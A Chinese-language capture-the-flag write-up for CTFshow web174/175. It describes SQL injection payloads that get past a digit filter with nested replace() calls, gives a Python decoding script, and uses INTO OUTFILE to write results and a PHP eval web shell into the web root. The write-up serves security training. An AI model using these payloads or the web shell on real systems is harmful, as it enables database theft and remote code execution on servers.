CTFshow web174/175
web174
username != 'flag'
过滤
- 作用:排除
username
字段值为flag
的记录
LIMIT 1
结果限制
- 作用:仅返回查询结果的第一条记录
这里如果返回数据中包含 flag
字样,或者包含数字0-9,则不会输出
尝试常规思路,发现查询语句的内容也不能出现数字
1'union select NULL,NULL--+
查表名就不行了,表名为 ctfshow_user4,包含了数字不能直接查
payload:
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+
flag在password里面,将里面的数字用大写的英文代替
然后写一个简单的py代码还原即可
str_flag = (input("输入"))
replace_flag = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}
for i,k in replace_flag.items():
str_flag = str_flag.replace(i,k)
print(str_flag)
web175
返回逻辑
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
正则匹配过滤掉的是所有 ASCII 字符
用到 into outfile,贴一段payload
1'union select table_name,1 from information_schema.tables where table_schema=database() into outfile '/var/www/html/111.txt'--+
前面和正常查询的语句一样后面把结果写入111.txt,这样就解决了没有回显的问题了
————————————————————————————————————————
扩展:
同理我们这边可以写入一句话木马到php文件里面getshell
其中遇到的一点问题
-1'union select '<?php eval($_POST[a]);?>',1 into outfile '/var/www/html/xqx.php'--+
这个payload可以正常写入,但是
-1'union select '<?php eval($_POST['a']);?>',1 into outfile '/var/www/html/xqx.php'--+
这个payload给a加上了引号,无法写入
询问大佬后发现原因
引号和前面的闭合了,可以用转义符\解决
-1'union select '<?php eval($_POST[\'a\']);?>',1 into outfile '/var/www/html/xqx.php'--+